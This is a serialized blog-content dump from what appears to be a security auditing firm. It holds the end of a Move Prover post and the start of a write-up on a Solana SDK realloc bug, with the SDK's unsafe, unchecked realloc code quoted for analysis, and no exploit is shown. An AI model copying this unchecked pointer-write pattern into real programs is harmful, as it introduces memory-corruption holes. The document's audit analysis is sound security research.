958},{"style":356},[20959],{"type":29,"value":15561},{"type":24,"tag":327,"props":20961,"children":20962},{"style":346},[20963],{"type":29,"value":2744},{"type":24,"tag":327,"props":20965,"children":20966},{"style":356},[20967],{"type":29,"value":15578},{"type":24,"tag":327,"props":20969,"children":20970},{"style":346},[20971],{"type":29,"value":583},{"type":24,"tag":327,"props":20973,"children":20974},{"class":329,"line":421},[20975,20979,20983,20987],{"type":24,"tag":327,"props":20976,"children":20977},{"style":340},[20978],{"type":29,"value":15678},{"type":24,"tag":327,"props":20980,"children":20981},{"style":346},[20982],{"type":29,"value":349},{"type":24,"tag":327,"props":20984,"children":20985},{"style":356},[20986],{"type":29,"value":15687},{"type":24,"tag":327,"props":20988,"children":20989},{"style":346},[20990],{"type":29,"value":852},{"type":24,"tag":327,"props":20992,"children":20993},{"class":329,"line":450},[20994],{"type":24,"tag":327,"props":20995,"children":20996},{"style":346},[20997],{"type":29,"value":13439},{"type":24,"tag":327,"props":20999,"children":21000},{"class":329,"line":481},[21001,21005,21009],{"type":24,"tag":327,"props":21002,"children":21003},{"style":356},[21004],{"type":29,"value":15706},{"type":24,"tag":327,"props":21006,"children":21007},{"style":356},[21008],{"type":29,"value":15552},{"type":24,"tag":327,"props":21010,"children":21011},{"style":346},[21012],{"type":29,"value":497},{"type":24,"tag":327,"props":21014,"children":21015},{"class":329,"line":500},[21016,21020,21024,21028,21032],{"type":24,"tag":327,"props":21017,"children":21018},{"style":356},[21019],{"type":29,"value":15722},{"type":24,"tag":327,"props":21021,"children":21022},{"style":356},[21023],{"type":29,"value":15727},{"type":24,"tag":327,"props":21025,"children":21026},{"style":381},[21027],{"type":29,"value":384},{"type":24,"tag":327,"props":21029,"children":21030},{"style":334},[21031],{"type":29,"value":15736},{"type":24,"tag":327,"props":21033,"children":21034},{"style":346},[21035],{"type":29,"value":405},{"type":24,"tag":327,"props":21037,"children":21038},{"class":329,"line":529},[21039,21043,21047,21051,21055],{"type":24,"tag":327,"props":21040,"children":21041},{"style":356},[21042],{"type":29,"value":15748},{"type":24,"tag":327,"props":21044,"children":21045},{"style":356},[21046],{"type":29,"value":15753},{"type":24,"tag":327,"props":21048,"children":21049},{"style":381},[21050],{"type":29,"value":2488},{"type":24,"tag":327,"props":21052,"children":21053},{"style":356},[21054],{"type":29,"value":15762},{"type":24,"tag":327,"props":21056,"children":21057},{"style":346},[21058],{"type":29,"value":405},{"type":24,"tag":327,"props":21060,"children":21061},{"class":329,"line":538},[21062,21066,21070,21074,21078],{"type":24,"tag":327,"props":21063,"children":21064},{"style":356},[21065],{"type":29,"value":15748},{"type":24,"tag":327,"props":21067,"children":21068},{"style":356},[21069],{"type":29,"value":15778},{"type":24,"tag":327,"props":21071,"children":21072},{"style":381},[21073],{"type":29,"value":2488},{"type":24,"tag":327,"props":21075,"children":21076},{"style":356},[21077],{"type":29,"value":15787},{"type":24,"tag":327,"props":21079,"children":21080},{"style":346},[21081],{"type":29,"value":405},{"type":24,"tag":327,"props":21083,"children":21084},{"class":329,"line":547},[21085],{"type":24,"tag":327,"props":21086,"children":21087},{"style":346},[21088],{"type":29,"value":13439},{"type":24,"tag":25,"props":21090,"children":21091},{},[21092],{"type":29,"value":21093},"Some other ideas include",{"type":24,"tag":175,"props":21095,"children":21096},{},[21097,21102,21107],{"type":24,"tag":179,"props":21098,"children":21099},{},[21100],{"type":29,"value":21101},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":179,"props":21103,"children":21104},{},[21105],{"type":29,"value":21106},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":179,"props":21108,"children":21109},{},[21110],{"type":29,"value":21111},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":228,"props":21113,"children":21114},{"id":12878},[21115],{"type":29,"value":12881},{"type":24,"tag":25,"props":21117,"children":21118},{},[21119],{"type":29,"value":21120},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":25,"props":21122,"children":21123},{},[21124],{"type":29,"value":21125},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":25,"props":21127,"children":21128},{},[21129,21131,21136],{"type":29,"value":21130},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":57,"props":21132,"children":21134},{"href":16794,"rel":21133},[61],[21135],{"type":29,"value":16798},{"type":29,"value":66},{"type":24,"tag":10448,"props":21138,"children":21139},{},[21140],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":21142},[21143,21144,21147,21154],{"id":16857,"depth":367,"text":16860},{"id":16911,"depth":367,"text":16914,"children":21145},[21146],{"id":17158,"depth":408,"text":17154},{"id":20053,"depth":367,"text":20056,"children":21148},[21149,21150,21151,21152,21153],{"id":20069,"depth":408,"text":20072},{"id":20320,"depth":408,"text":20323},{"id":20625,"depth":408,"text":20628},{"id":20661,"depth":408,"text":20664},{"id":20823,"depth":408,"text":20826},{"id":12878,"depth":367,"text":12881},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":21159,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":21160,"description":21161,"author":21162,"image":21163,"date":21165,"isFeatured":16,"onBlogPage":16,"tags":21166,"body":21167,"_type":10481,"_id":26253,"_source":10483,"_file":26254,"_stem":26255,"_extension":10486},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":21164,"height":13,"width":14},"/posts/rust-realloc-and-references/title.jpg","2022-12-09",[19,16822],{"type":21,"children":21168,"toc":26237},[21169,21197,21217,21875,21895,21906,21918,22051,22061,22067,22093,22428,22473,22800,22862,22875,22948,23016,23037,23050,23064,23407,23418,23423,23554,23605,23631,23643,23816,23950,23991,24028,24093,24098,24134,24188,24199,24342,24354,24360,24366,24399,24413,24534,24553,24581,24587,24676,24765,24771,24776,24823,25091,25166,25177,25204,25536,25548,25621,25894,25931,26233],{"type":24,"tag":25,"props":21170,"children":21171},{},[21172,21174,21180,21182,21187,21189,21195],{"type":29,"value":21173},"It all started with an audit of a program that used ",{"type":24,"tag":284,"props":21175,"children":21177},{"className":21176},[],[21178],{"type":29,"value":21179},"realloc",{"type":29,"value":21181}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":284,"props":21183,"children":21185},{"className":21184},[],[21186],{"type":29,"value":21179},{"type":29,"value":21188}," call (from ",{"type":24,"tag":284,"props":21190,"children":21192},{"className":21191},[],[21193],{"type":29,"value":21194},"solana_program",{"type":29,"value":21196},") would error out appropriately.",{"type":24,"tag":25,"props":21198,"children":21199},{},[21200,21202,21208,21209,21216],{"type":29,"value":21201},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":284,"props":21203,"children":21205},{"className":21204},[],[21206],{"type":29,"value":21207},"AccountInfo::realloc",{"type":29,"value":13069},{"type":24,"tag":57,"props":21210,"children":21213},{"href":21211,"rel":21212},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[61],[21214],{"type":29,"value":21215},"implemented",{"type":29,"value":1636},{"type":24,"tag":317,"props":21218,"children":21220},{"className":1553,"code":21219,"language":1552,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[21221],{"type":24,"tag":284,"props":21222,"children":21223},{"__ignoreMap":7},[21224,21312,21345,21352,21360,21372,21380,21471,21504,21511,21519,21648,21679,21686,21693,21701,21734,21746,21795,21807,21836,21843,21850,21857,21868],{"type":24,"tag":327,"props":21225,"children":21226},{"class":329,"line":330},[21227,21231,21235,21240,21244,21248,21252,21256,21261,21265,21269,21273,21278,21282,21286,21290,21294,21298,21303,21308],{"type":24,"tag":327,"props":21228,"children":21229},{"style":334},[21230],{"type":29,"value":2524},{"type":24,"tag":327,"props":21232,"children":21233},{"style":334},[21234],{"type":29,"value":4653},{"type":24,"tag":327,"props":21236,"children":21237},{"style":340},[21238],{"type":29,"value":21239}," realloc",{"type":24,"tag":327,"props":21241,"children":21242},{"style":346},[21243],{"type":29,"value":349},{"type":24,"tag":327,"props":21245,"children":21246},{"style":381},[21247],{"type":29,"value":8716},{"type":24,"tag":327,"props":21249,"children":21250},{"style":334},[21251],{"type":29,"value":2345},{"type":24,"tag":327,"props":21253,"children":21254},{"style":346},[21255],{"type":29,"value":2744},{"type":24,"tag":327,"props":21257,"children":21258},{"style":356},[21259],{"type":29,"value":21260},"new_len",{"type":24,"tag":327,"props":21262,"children":21263},{"style":381},[21264],{"type":29,"value":1636},{"type":24,"tag":327,"props":21266,"children":21267},{"style":1639},[21268],{"type":29,"value":2422},{"type":24,"tag":327,"props":21270,"children":21271},{"style":346},[21272],{"type":29,"value":2744},{"type":24,"tag":327,"props":21274,"children":21275},{"style":356},[21276],{"type":29,"value":21277},"zero_init",{"type":24,"tag":327,"props":21279,"children":21280},{"style":381},[21281],{"type":29,"value":1636},{"type":24,"tag":327,"props":21283,"children":21284},{"style":1639},[21285],{"type":29,"value":1935},{"type":24,"tag":327,"props":21287,"children":21288},{"style":346},[21289],{"type":29,"value":1674},{"type":24,"tag":327,"props":21291,"children":21292},{"style":381},[21293],{"type":29,"value":1679},{"type":24,"tag":327,"props":21295,"children":21296},{"style":1639},[21297],{"type":29,"value":1684},{"type":24,"tag":327,"props":21299,"children":21300},{"style":346},[21301],{"type":29,"value":21302},"\u003C(), ",{"type":24,"tag":327,"props":21304,"children":21305},{"style":1639},[21306],{"type":29,"value":21307},"ProgramError",{"type":24,"tag":327,"props":21309,"children":21310},{"style":346},[21311],{"type":29,"value":4344},{"type":24,"tag":327,"props":21313,"children":21314},{"class":329,"line":367},[21315,21319,21324,21328,21332,21336,21341],{"type":24,"tag":327,"props":21316,"children":21317},{"style":334},[21318],{"type":29,"value":4794},{"type":24,"tag":327,"props":21320,"children":21321},{"style":356},[21322],{"type":29,"value":21323}," orig_len",{"type":24,"tag":327,"props":21325,"children":21326},{"style":381},[21327],{"type":29,"value":4809},{"type":24,"tag":327,"props":21329,"children":21330},{"style":334},[21331],{"type":29,"value":2171},{"type":24,"tag":327,"props":21333,"children":21334},{"style":381},[21335],{"type":29,"value":66},{"type":24,"tag":327,"props":21337,"children":21338},{"style":340},[21339],{"type":29,"value":21340},"data_len",{"type":24,"tag":327,"props":21342,"children":21343},{"style":346},[21344],{"type":29,"value":4838},{"type":24,"tag":327,"props":21346,"children":21347},{"class":329,"line":408},[21348],{"type":24,"tag":327,"props":21349,"children":21350},{"emptyLinePlaceholder":16},[21351],{"type":29,"value":544},{"type":24,"tag":327,"props":21353,"children":21354},{"class":329,"line":421},[21355],{"type":24,"tag":327,"props":21356,"children":21357},{"style":551},[21358],{"type":29,"value":21359},"    // realloc\n",{"type":24,"tag":327,"props":21361,"children":21362},{"class":329,"line":450},[21363,21368],{"type":24,"tag":327,"props":21364,"children":21365},{"style":334},[21366],{"type":29,"value":21367},"    unsafe",{"type":24,"tag":327,"props":21369,"children":21370},{"style":346},[21371],{"type":29,"value":497},{"type":24,"tag":327,"props":21373,"children":21374},{"class":329,"line":481},[21375],{"type":24,"tag":327,"props":21376,"children":21377},{"style":551},[21378],{"type":29,"value":21379},"        // First set new length in the serialized data\n",{"type":24,"tag":327,"props":21381,"children":21382},{"class":329,"line":500},[21383,21387,21392,21396,21400,21404,21409,21413,21417,21422,21426,21430,21435,21439,21443,21447,21451,21455,21459,21463,21467],{"type":24,"tag":327,"props":21384,"children":21385},{"style":334},[21386],{"type":29,"value":7558},{"type":24,"tag":327,"props":21388,"children":21389},{"style":356},[21390],{"type":29,"value":21391}," ptr",{"type":24,"tag":327,"props":21393,"children":21394},{"style":381},[21395],{"type":29,"value":4809},{"type":24,"tag":327,"props":21397,"children":21398},{"style":334},[21399],{"type":29,"value":2171},{"type":24,"tag":327,"props":21401,"children":21402},{"style":381},[21403],{"type":29,"value":66},{"type":24,"tag":327,"props":21405,"children":21406},{"style":340},[21407],{"type":29,"value":21408},"try_borrow_mut_data",{"type":24,"tag":327,"props":21410,"children":21411},{"style":346},[21412],{"type":29,"value":7616},{"type":24,"tag":327,"props":21414,"children":21415},{"style":381},[21416],{"type":29,"value":10740},{"type":24,"tag":327,"props":21418,"children":21419},{"style":340},[21420],{"type":29,"value":21421},"as_mut_ptr",{"type":24,"tag":327,"props":21423,"children":21424},{"style":346},[21425],{"type":29,"value":7616},{"type":24,"tag":327,"props":21427,"children":21428},{"style":381},[21429],{"type":29,"value":66},{"type":24,"tag":327,"props":21431,"children":21432},{"style":340},[21433],{"type":29,"value":21434},"offset",{"type":24,"tag":327,"props":21436,"children":21437},{"style":346},[21438],{"type":29,"value":349},{"type":24,"tag":327,"props":21440,"children":21441},{"style":381},[21442],{"type":29,"value":11899},{"type":24,"tag":327,"props":21444,"children":21445},{"style":397},[21446],{"type":29,"value":11653},{"type":24,"tag":327,"props":21448,"children":21449},{"style":346},[21450],{"type":29,"value":1674},{"type":24,"tag":327,"props":21452,"children":21453},{"style":334},[21454],{"type":29,"value":2479},{"type":24,"tag":327,"props":21456,"children":21457},{"style":381},[21458],{"type":29,"value":17364},{"type":24,"tag":327,"props":21460,"children":21461},{"style":334},[21462],{"type":29,"value":2099},{"type":24,"tag":327,"props":21464,"children":21465},{"style":1639},[21466],{"type":29,"value":1669},{"type":24,"tag":327,"props":21468,"children":21469},{"style":346},[21470],{"type":29,"value":405},{"type":24,"tag":327,"props":21472,"children":21473},{"class":329,"line":529},[21474,21478,21483,21487,21492,21496,21500],{"type":24,"tag":327,"props":21475,"children":21476},{"style":381},[21477],{"type":29,"value":5308},{"type":24,"tag":327,"props":21479,"children":21480},{"style":356},[21481],{"type":29,"value":21482},"ptr",{"type":24,"tag":327,"props":21484,"children":21485},{"style":381},[21486],{"type":29,"value":4809},{"type":24,"tag":327,"props":21488,"children":21489},{"style":356},[21490],{"type":29,"value":21491}," new_len",{"type":24,"tag":327,"props":21493,"children":21494},{"style":334},[21495],{"type":29,"value":2417},{"type":24,"tag":327,"props":21497,"children":21498},{"style":1639},[21499],{"type":29,"value":1669},{"type":24,"tag":327,"props":21501,"children":21502},{"style":346},[21503],{"type":29,"value":405},{"type":24,"tag":327,"props":21505,"children":21506},{"class":329,"line":538},[21507],{"type":24,"tag":327,"props":21508,"children":21509},{"emptyLinePlaceholder":16},[21510],{"type":29,"value":544},{"type":24,"tag":327,"props":21512,"children":21513},{"class":329,"line":547},[21514],{"type":24,"tag":327,"props":21515,"children":21516},{"style":551},[21517],{"type":29,"value":21518},"        // Then set the new length in the local slice\n",{"type":24,"tag":327,"props":21520,"children":21521},{"class":329,"line":557},[21522,21526,21530,21534,21538,21542,21546,21551,21555,21559,21563,21567,21572,21576,21580,21584,21588,21592,21596,21600,21604,21608,21612,21616,21620,21624,21628,21632,21636,21640,21644],{"type":24,"tag":327,"props":21523,"children":21524},{"style":334},[21525],{"type":29,"value":7558},{"type":24,"tag":327,"props":21527,"children":21528},{"style":356},[21529],{"type":29,"value":21391},{"type":24,"tag":327,"props":21531,"children":21532},{"style":381},[21533],{"type":29,"value":4809},{"type":24,"tag":327,"props":21535,"children":21536},{"style":381},[21537],{"type":29,"value":14704},{"type":24,"tag":327,"props":21539,"children":21540},{"style":334},[21541],{"type":29,"value":2099},{"type":24,"tag":327,"props":21543,"children":21544},{"style":381},[21545],{"type":29,"value":17364},{"type":24,"tag":327,"props":21547,"children":21548},{"style":346},[21549],{"type":29,"value":21550},"(((",{"type":24,"tag":327,"props":21552,"children":21553},{"style":334},[21554],{"type":29,"value":2345},{"type":24,"tag":327,"props":21556,"children":21557},{"style":381},[21558],{"type":29,"value":66},{"type":24,"tag":327,"props":21560,"children":21561},{"style":346},[21562],{"type":29,"value":11298},{"type":24,"tag":327,"props":21564,"children":21565},{"style":381},[21566],{"type":29,"value":66},{"type":24,"tag":327,"props":21568,"children":21569},{"style":340},[21570],{"type":29,"value":21571},"as_ptr",{"type":24,"tag":327,"props":21573,"children":21574},{"style":346},[21575],{"type":29,"value":7338},{"type":24,"tag":327,"props":21577,"children":21578},{"style":334},[21579],{"type":29,"value":2479},{"type":24,"tag":327,"props":21581,"children":21582},{"style":381},[21583],{"type":29,"value":17364},{"type":24,"tag":327,"props":21585,"children":21586},{"style":334},[21587],{"type":29,"value":17202},{"type":24,"tag":327,"props":21589,"children":21590},{"style":1639},[21591],{"type":29,"value":1669},{"type":24,"tag":327,"props":21593,"children":21594},{"style":346},[21595],{"type":29,"value":3146},{"type":24,"tag":327,"props":21597,"children":21598},{"style":381},[21599],{"type":29,"value":66},{"type":24,"tag":327,"props":21601,"children":21602},{"style":340},[21603],{"type":29,"value":21434},{"type":24,"tag":327,"props":21605,"children":21606},{"style":346},[21607],{"type":29,"value":349},{"type":24,"tag":327,"props":21609,"children":21610},{"style":397},[21611],{"type":29,"value":3238},{"type":24,"tag":327,"props":21613,"children":21614},{"style":346},[21615],{"type":29,"value":1674},{"type":24,"tag":327,"props":21617,"children":21618},{"style":334},[21619],{"type":29,"value":2479},{"type":24,"tag":327,"props":21621,"children":21622},{"style":1639},[21623],{"type":29,"value":1669},{"type":24,"tag":327,"props":21625,"children":21626},{"style":346},[21627],{"type":29,"value":1674},{"type":24,"tag":327,"props":21629,"children":21630},{"style":334},[21631],{"type":29,"value":2479},{"type":24,"tag":327,"props":21633,"children":21634},{"style":381},[21635],{"type":29,"value":17364},{"type":24,"tag":327,"props":21637,"children":21638},{"style":334},[21639],{"type":29,"value":2099},{"type":24,"tag":327,"props":21641,"children":21642},{"style":1639},[21643],{"type":29,"value":1669},{"type":24,"tag":327,"props":21645,"children":21646},{"style":346},[21647],{"type":29,"value":583},{"type":24,"tag":327,"props":21649,"children":21650},{"class":329,"line":586},[21651,21655,21659,21663,21667,21671,21675],{"type":24,"tag":327,"props":21652,"children":21653},{"style":381},[21654],{"type":29,"value":5308},{"type":24,"tag":327,"props":21656,"children":21657},{"style":356},[21658],{"type":29,"value":21482},{"type":24,"tag":327,"props":21660,"children":21661},{"style":381},[21662],{"type":29,"value":4809},{"type":24,"tag":327,"props":21664,"children":21665},{"style":356},[21666],{"type":29,"value":21491},{"type":24,"tag":327,"props":21668,"children":21669},{"style":334},[21670],{"type":29,"value":2417},{"type":24,"tag":327,"props":21672,"children":21673},{"style":1639},[21674],{"type":29,"value":1669},{"type":24,"tag":327,"props":21676,"children":21677},{"style":346},[21678],{"type":29,"value":405},{"type":24,"tag":327,"props":21680,"children":21681},{"class":329,"line":1017},[21682],{"type":24,"tag":327,"props":21683,"children":21684},{"style":346},[21685],{"type":29,"value":535},{"type":24,"tag":327,"props":21687,"children":21688},{"class":329,"line":1026},[21689],{"type":24,"tag":327,"props":21690,"children":21691},{"emptyLinePlaceholder":16},[21692],{"type":29,"value":544},{"type":24,"tag":327,"props":21694,"children":21695},{"class":329,"line":1048},[21696],{"type":24,"tag":327,"props":21697,"children":21698},{"style":551},[21699],{"type":29,"value":21700},"    // zero-init if requested\n",{"type":24,"tag":327,"props":21702,"children":21703},{"class":329,"line":1067},[21704,21708,21713,21718,21722,21726,21730],{"type":24,"tag":327,"props":21705,"children":21706},{"style":425},[21707],{"type":29,"value":428},{"type":24,"tag":327,"props":21709,"children":21710},{"style":356},[21711],{"type":29,"value":21712}," zero_init",{"type":24,"tag":327,"props":21714,"children":21715},{"style":381},[21716],{"type":29,"value":21717}," &&",{"type":24,"tag":327,"props":21719,"children":21720},{"style":356},[21721],{"type":29,"value":21491},{"type":24,"tag":327,"props":21723,"children":21724},{"style":381},[21725],{"type":29,"value":5013},{"type":24,"tag":327,"props":21727,"children":21728},{"style":356},[21729],{"type":29,"value":21323},{"type":24,"tag":327,"props":21731,"children":21732},{"style":346},[21733],{"type":29,"value":497},{"type":24,"tag":327,"props":21735,"children":21736},{"class":329,"line":1075},[21737,21742],{"type":24,"tag":327,"props":21738,"children":21739},{"style":340},[21740],{"type":29,"value":21741},"        sol_memset",{"type":24,"tag":327,"props":21743,"children":21744},{"style":346},[21745],{"type":29,"value":4663},{"type":24,"tag":327,"props":21747,"children":21748},{"class":329,"line":1084},[21749,21753,21757,21761,21765,21769,21773,21777,21781,21786,21790],{"type":24,"tag":327,"props":21750,"children":21751},{"style":381},[21752],{"type":29,"value":15247},{"type":24,"tag":327,"props":21754,"children":21755},{"style":334},[21756],{"type":29,"value":2099},{"type":24,"tag":327,"props":21758,"children":21759},{"style":334},[21760],{"type":29,"value":2171},{"type":24,"tag":327,"props":21762,"children":21763},{"style":381},[21764],{"type":29,"value":66},{"type":24,"tag":327,"props":21766,"children":21767},{"style":340},[21768],{"type":29,"value":21408},{"type":24,"tag":327,"props":21770,"children":21771},{"style":346},[21772],{"type":29,"value":7616},{"type":24,"tag":327,"props":21774,"children":21775},{"style":381},[21776],{"type":29,"value":7437},{"type":24,"tag":327,"props":21778,"children":21779},{"style":346},[21780],{"type":29,"value":11329},{"type":24,"tag":327,"props":21782,"children":21783},{"style":356},[21784],{"type":29,"value":21785},"orig_len",{"type":24,"tag":327,"props":21787,"children":21788},{"style":381},[21789],{"type":29,"value":10662},{"type":24,"tag":327,"props":21791,"children":21792},{"style":346},[21793],{"type":29,"value":21794},"],\n",{"type":24,"tag":327,"props":21796,"children":21797},{"class":329,"line":1100},[21798,21803],{"type":24,"tag":327,"props":21799,"children":21800},{"style":397},[21801],{"type":29,"value":21802},"            0",{"type":24,"tag":327,"props":21804,"children":21805},{"style":346},[21806],{"type":29,"value":2231},{"type":24,"tag":327,"props":21808,"children":21809},{"class":329,"line":1128},[21810,21815,21819,21824,21828,21832],{"type":24,"tag":327,"props":21811,"children":21812},{"style":356},[21813],{"type":29,"value":21814},"            new_len",{"type":24,"tag":327,"props":21816,"children":21817},{"style":381},[21818],{"type":29,"value":66},{"type":24,"tag":327,"props":21820,"children":21821},{"style":340},[21822],{"type":29,"value":21823},"saturating_sub",{"type":24,"tag":327,"props":21825,"children":21826},{"style":346},[21827],{"type":29,"value":349},{"type":24,"tag":327,"props":21829,"children":21830},{"style":356},[21831],{"type":29,"value":21785},{"type":24,"tag":327,"props":21833,"children":21834},{"style":346},[21835],{"type":29,"value":9212},{"type":24,"tag":327,"props":21837,"children":21838},{"class":329,"line":1148},[21839],{"type":24,"tag":327,"props":21840,"children":21841},{"style":346},[21842],{"type":29,"value":15306},{"type":24,"tag":327,"props":21844,"children":21845},{"class":329,"line":1176},[21846],{"type":24,"tag":327,"props":21847,"children":21848},{"style":346},[21849],{"type":29,"value":535},{"type":24,"tag":327,"props":21851,"children":21852},{"class":329,"line":1184},[21853],{"type":24,"tag":327,"props":21854,"children":21855},{"emptyLinePlaceholder":16},[21856],{"type":29,"value":544},{"type":24,"tag":327,"props":21858,"children":21859},{"class":329,"line":1192},[21860,21864],{"type":24,"tag":327,"props":21861,"children":21862},{"style":1639},[21863],{"type":29,"value":9004},{"type":24,"tag":327,"props":21865,"children":21866},{"style":346},[21867],{"type":29,"value":9009},{"type":24,"tag":327,"props":21869,"children":21870},{"class":329,"line":1212},[21871],{"type":24,"tag":327,"props":21872,"children":21873},{"style":346},[21874],{"type":29,"value":592},{"type":24,"tag":25,"props":21876,"children":21877},{},[21878,21880,21886,21888,21893],{"type":29,"value":21879},"Oh. There's ",{"type":24,"tag":284,"props":21881,"children":21883},{"className":21882},[],[21884],{"type":29,"value":21885},"unsafe",{"type":29,"value":21887},". And no bounds check in sight. ",{"type":24,"tag":42,"props":21889,"children":21890},{},[21891],{"type":29,"value":21892},"And",{"type":29,"value":21894}," pointer math. That doesn't look promising...",{"type":24,"tag":228,"props":21896,"children":21898},{"id":21897},"breaking-down-realloc",[21899,21901],{"type":29,"value":21900},"Breaking down ",{"type":24,"tag":284,"props":21902,"children":21904},{"className":21903},[],[21905],{"type":29,"value":21179},{"type":24,"tag":25,"props":21907,"children":21908},{},[21909,21911,21916],{"type":29,"value":21910},"Let's pick apart this ",{"type":24,"tag":284,"props":21912,"children":21914},{"className":21913},[],[21915],{"type":29,"value":21885},{"type":29,"value":21917}," block, since there's a lot going on here.",{"type":24,"tag":317,"props":21919,"children":21921},{"className":1553,"code":21920,"language":1552,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[21922],{"type":24,"tag":284,"props":21923,"children":21924},{"__ignoreMap":7},[21925,21933,22020],{"type":24,"tag":327,"props":21926,"children":21927},{"class":329,"line":330},[21928],{"type":24,"tag":327,"props":21929,"children":21930},{"style":551},[21931],{"type":29,"value":21932},"// First set new length in the serialized data\n",{"type":24,"tag":327,"props":21934,"children":21935},{"class":329,"line":367},[21936,21940,21944,21948,21952,21956,21960,21964,21968,21972,21976,21980,21984,21988,21992,21996,22000,22004,22008,22012,22016],{"type":24,"tag":327,"props":21937,"children":21938},{"style":334},[21939],{"type":29,"value":19334},{"type":24,"tag":327,"props":21941,"children":21942},{"style":356},[21943],{"type":29,"value":21391},{"type":24,"tag":327,"props":21945,"children":21946},{"style":381},[21947],{"type":29,"value":4809},{"type":24,"tag":327,"props":21949,"children":21950},{"style":334},[21951],{"type":29,"value":2171},{"type":24,"tag":327,"props":21953,"children":21954},{"style":381},[21955],{"type":29,"value":66},{"type":24,"tag":327,"props":21957,"children":21958},{"style":340},[21959],{"type":29,"value":21408},{"type":24,"tag":327,"props":21961,"children":21962},{"style":346},[21963],{"type":29,"value":7616},{"type":24,"tag":327,"props":21965,"children":21966},{"style":381},[21967],{"type":29,"value":10740},{"type":24,"tag":327,"props":21969,"children":21970},{"style":340},[21971],{"type":29,"value":21421},{"type":24,"tag":327,"props":21973,"children":21974},{"style":346},[21975],{"type":29,"value":7616},{"type":24,"tag":327,"props":21977,"children":21978},{"style":381},[21979],{"type":29,"value":66},{"type":24,"tag":327,"props":21981,"children":21982},{"style":340},[21983],{"type":29,"value":21434},{"type":24,"tag":327,"props":21985,"children":21986},{"style":346},[21987],{"type":29,"value":349},{"type":24,"tag":327,"props":21989,"children":21990},{"style":381},[21991],{"type":29,"value":11899},{"type":24,"tag":327,"props":21993,"children":21994},{"style":397},[21995],{"type":29,"value":11653},{"type":24,"tag":327,"props":21997,"children":21998},{"style":346},[21999],{"type":29,"value":1674},{"type":24,"tag":327,"props":22001,"children":22002},{"style":334},[22003],{"type":29,"value":2479},{"type":24,"tag":327,"props":22005,"children":22006},{"style":381},[22007],{"type":29,"value":17364},{"type":24,"tag":327,"props":22009,"children":22010},{"style":334},[22011],{"type":29,"value":2099},{"type":24,"tag":327,"props":22013,"children":22014},{"style":1639},[22015],{"type":29,"value":1669},{"type":24,"tag":327,"props":22017,"children":22018},{"style":346},[22019],{"type":29,"value":405},{"type":24,"tag":327,"props":22021,"children":22022},{"class":329,"line":408},[22023,22027,22031,22035,22039,22043,22047],{"type":24,"tag":327,"props":22024,"children":22025},{"style":381},[22026],{"type":29,"value":469},{"type":24,"tag":327,"props":22028,"children":22029},{"style":356},[22030],{"type":29,"value":21482},{"type":24,"tag":327,"props":22032,"children":22033},{"style":381},[22034],{"type":29,"value":4809},{"type":24,"tag":327,"props":22036,"children":22037},{"style":356},[22038],{"type":29,"value":21491},{"type":24,"tag":327,"props":22040,"children":22041},{"style":334},[22042],{"type":29,"value":2417},{"type":24,"tag":327,"props":22044,"children":22045},{"style":1639},[22046],{"type":29,"value":1669},{"type":24,"tag":327,"props":22048,"children":22049},{"style":346},[22050],{"type":29,"value":405},{"type":24,"tag":25,"props":22052,"children":22053},{},[22054,22059],{"type":24,"tag":284,"props":22055,"children":22057},{"className":22056},[],[22058],{"type":29,"value":21408},{"type":29,"value":22060}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":235,"props":22062,"children":22064},{"id":22063},"bpf-loader-abi",[22065],{"type":29,"value":22066},"BPF Loader ABI",{"type":24,"tag":25,"props":22068,"children":22069},{},[22070,22072,22077,22079,22092],{"type":29,"value":22071},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":284,"props":22073,"children":22075},{"className":22074},[],[22076],{"type":29,"value":21194},{"type":29,"value":22078},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":57,"props":22080,"children":22083},{"href":22081,"rel":22082},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[61],[22084,22090],{"type":24,"tag":284,"props":22085,"children":22087},{"className":22086},[],[22088],{"type":29,"value":22089},"entrypoint!",{"type":29,"value":22091}," macro",{"type":29,"value":1636},{"type":24,"tag":317,"props":22094,"children":22096},{"className":1553,"code":22095,"language":1552,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern 